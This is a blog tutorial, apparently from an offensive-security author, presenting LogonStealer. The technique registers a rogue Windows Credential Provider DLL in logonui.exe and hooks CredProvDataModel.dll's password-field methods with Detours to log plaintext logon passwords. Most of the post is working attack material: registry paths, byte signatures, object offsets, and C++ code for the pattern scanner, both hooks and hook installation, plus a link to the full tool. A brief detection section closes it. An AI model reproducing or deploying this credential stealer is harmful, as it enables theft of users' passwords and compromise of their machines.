Stealing Plaintext Windows Credentials: LogonStealer
Welcome to this new Medium post, in this one we will see how to steal plaintext Windows credentials at the logon screen by abusing the Credential Provider COM interface and hooking internal WinRT…
Welcome to this new Medium post, in this one we will see how to steal plaintext Windows credentials at the logon screen by abusing the Credential Provider COM interface and hooking internal WinRT methods inside CredProvDataModel.dll
Want to go deeper into Windows offensive development?
Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.
Introduction
GitHub Repository:
https://github.com/S12cybersecurity/LogonStealer
Before diving into the technique, let’s cover the building blocks you need to follow:
- Credential Providers (CP) are COM objects Windows loads into logonui.exe at logon time. They implement ICredentialProvider and are registered under:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{CLSID}Windows enumerates this key and calls CoCreateInstance on every registered CLSID. That means any DLL registered as a CP is loaded without triggering the standard PPL enforcement
- CredProvDataModel.dll is a DLL that manages the credential input model on modern Windows 11. When you type your password at the logon screen, the keystrokes do NOT go through ICredentialProviderCredential::SetStringValue (the classic CP interface)
Instead they flow through a WinRT stack:
Windows.UI.Logon.dll
└── textinputframework.dll
└── CredProvDataModel.dll
└── ICredentialProvider (classic COM)
└── winlogon (via WNF)
EditField is the object inside CredProvDataModel.dll that owns the password field. Its vtable has two methods we care about:
- put_Value (slot 7): called on every keystroke with the accumulated field value as an HSTRING
- get_Value (slot 6): called at submit time with the final value
The EditField object layout we recovered via static analysis of CredProvDataModel.dll:
- +0x00vtable pointer
- +0x48DWORD field ID5 = password
- +0xA8WCHAR* plaintext buffer
Microsoft Detours is the hooking library we use for inline function patching. DetourAttach replaces the first bytes of the target function with a jump to our hook, storing a trampoline to call the original
Methodology
1. Register a rogue Credential Provider
Create a DLL that implements ICredentialProvider and exports DllGetClassObject. Register its CLSID under the CP registry key. Windows will load it into logonui.exe on the next logon
2. Trigger hook installation from SetUsageScenario
The CP’s SetUsageScenario method is called early in the logon flow, before any credentials are entered. We use InitOnceExecuteOnce here to install our hooks exactly once per process
3. Locate put_Value and get_Value via pattern scan
Rather than hardcoding RVAs, we scan the .text section of CredProvDataModel.dll for the 24 byte prologue of each function:
put_Value: 48 89 5C 24 10 55 56 57 41 54 41 55 41 56 41 57 48 8B EC 48 83 EC 40 4C
get_Value: 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 33 F6 48 8B DA 48 89 32 48
4. Hook both methods with Detours
Attach PutValueHook and GetValueHook to the resolved function pointers inside a DetourTransactionBegin/Commit block
5. Filter by field ID and extract the password
Inside each hook, read [this+0x48] to get the field ID. Only process fieldID == 5 (the password field). And just extract the plaintext
6. Log on submit
put_Value accumulates keystrokes in g_lastPassword. When the field clears after submit, log the accumulated value. get_Value fires at the exact submit moment with the final value, this is the capture point.
Implementation
Pattern scanner
We walk the PE headers of CredProvDataModel.dll to find the .text section boundaries, then do a linear byte scan:
static BYTE* FindPattern(BYTE* base, size_t size, const BYTE* pattern, const char* mask) {
size_t patLen = strlen(mask);
for (size_t i = 0; i <= size - patLen; i++) {
bool found = true;
for (size_t j = 0; j < patLen; j++) {
if (mask[j] == 'x' && base[i + j] != pattern[j]) {
found = false;
break;
}
}
if (found) return base + i;
}
return nullptr;
}The function that calls it walks the section table looking for .text:
static bool ResolveCPDMHooks(HMODULE hMod) {
auto* dos = (IMAGE_DOS_HEADER*)hMod;
auto* nt = (IMAGE_NT_HEADERS*)((BYTE*)hMod + dos->e_lfanew);
auto* sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
if (memcmp(sec->Name, ".text", 5) != 0) continue;
BYTE* base = (BYTE*)hMod + sec->VirtualAddress;
size_t size = sec->Misc.VirtualSize;
static const BYTE patPut[] = {
0x48,0x89,0x5C,0x24,0x10,0x55,0x56,0x57,0x41,0x54,
0x41,0x55,0x41,0x56,0x41,0x57,0x48,0x8B,0xEC,0x48,
0x83,0xEC,0x40,0x4C
};
static const BYTE patGet[] = {
0x48,0x89,0x5C,0x24,0x08,0x48,0x89,0x74,0x24,0x10,
0x57,0x48,0x83,0xEC,0x20,0x33,0xF6,0x48,0x8B,0xDA,
0x48,0x89,0x32,0x48
};
static const char maskPut[] = "xxxxxxxxxxxxxxxxxxxxxxxx";
static const char maskGet[] = "xxxxxxxxxxxxxxxxxxxxxxxx";
BYTE* pPut = FindPattern(base, size, patPut, maskPut);
BYTE* pGet = FindPattern(base, size, patGet, maskGet);
if (pPut) g_OrigPutValue = (EditField_put_Value_t)pPut;
if (pGet) g_OrigGetValue = (EditField_get_Value_t)pGet;
return pPut && pGet;
}
return false;
}put_Value hook
Called keystroke by keystroke. Accumulates the value in g_lastPassword. When the field empties after submit, logs whatever was accumulated:
HRESULT __fastcall PutValueHook(void* pThis, HSTRING hstrNewValue) {
DWORD fieldID = *(DWORD*)((BYTE*)pThis + 0x48);
if (fieldID == FIELD_ID_PASSWORD) {
UINT32 len = 0;
const wchar_t* raw = WindowsGetStringRawBuffer(hstrNewValue, &len);
if (raw && len > 0) {
StringCchCopyW(g_lastPassword, ARRAYSIZE(g_lastPassword), raw);
} else {
if (g_lastPassword[0] != L'\0') {
SYSTEMTIME st;
GetLocalTime(&st);
Log(L"\n[CRED] %04u-%02u-%02u %02u:%02u:%02u\n",
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond);
Log(L" password: %s\n", g_lastPassword);
g_lastPassword[0] = L'\0';
}
}
}
return g_OrigPutValue(pThis, hstrNewValue);
}get_Value hook
Called at submit. This is the exact moment the CP stack reads the final value to pass it upstream:
HRESULT __fastcall GetValueHook(void* pThis, HSTRING* phstrOut) {
HRESULT hr = g_OrigGetValue(pThis, phstrOut);
DWORD fieldID = *(DWORD*)((BYTE*)pThis + 0x48);
if (fieldID == FIELD_ID_PASSWORD && SUCCEEDED(hr) && phstrOut && *phstrOut) {
UINT32 len = 0;
const wchar_t* raw = WindowsGetStringRawBuffer(*phstrOut, &len);
if (raw && len > 0) {
SYSTEMTIME st;
GetLocalTime(&st);
Log(L"\n[SUBMIT] %04u-%02u-%02u %02u:%02u:%02u\n",
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond);
Log(L" password: %s\n", raw);
StringCchCopyW(g_lastPassword, ARRAYSIZE(g_lastPassword), raw);
}
}
return hr;
}Hook installation
Triggered from SetUsageScenario, guarded by InitOnceExecuteOnce so it runs exactly once per process regardless of how many logon sessions occur:
static BOOL CALLBACK DoInstall(PINIT_ONCE, PVOID, PVOID*) {
HMODULE hCPDM = GetModuleHandleA("credprovdatamodel.dll");
if (!hCPDM || !ResolveCPDMHooks(hCPDM)) {
Log(L"[CredHook] ERROR: could not resolve hooks\n");
return TRUE;
}
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
if (g_OrigPutValue) DetourAttach(&(void*&)g_OrigPutValue, PutValueHook);
if (g_OrigGetValue) DetourAttach(&(void*&)g_OrigGetValue, GetValueHook);
LONG err = DetourTransactionCommit();
Log(err == NO_ERROR ? L"[CredHook] hooks OK\n" : L"[CredHook] Detours error: %ld\n", err);
return TRUE;
}Full Code
→ github.com/S12cybersecurity/LogonStealer
Detection
Registry
A new CLSID under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers that doesn’t belong to a known Microsoft or legitimate third- party provider is a strong signal. Monitor this key for creation events.
Process image load
logonui.exe loading an unsigned or unknown DLL should trigger an alert.
Conclusions
The classic Credential Provider API gets all the attention in offensive security research, but the real capture point on modern Windows 11 is two levels deeper. SetStringValue is never called for password input, the input in CredProvDataModel.dll owns that data, and nobody is hooking it
The PPL bypass here is not a vulnerability, it’s by design. Credential Providers are a legitimate Windows extension point, and the COM loader doesn’t enforce PPL before loading them
📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube
S12.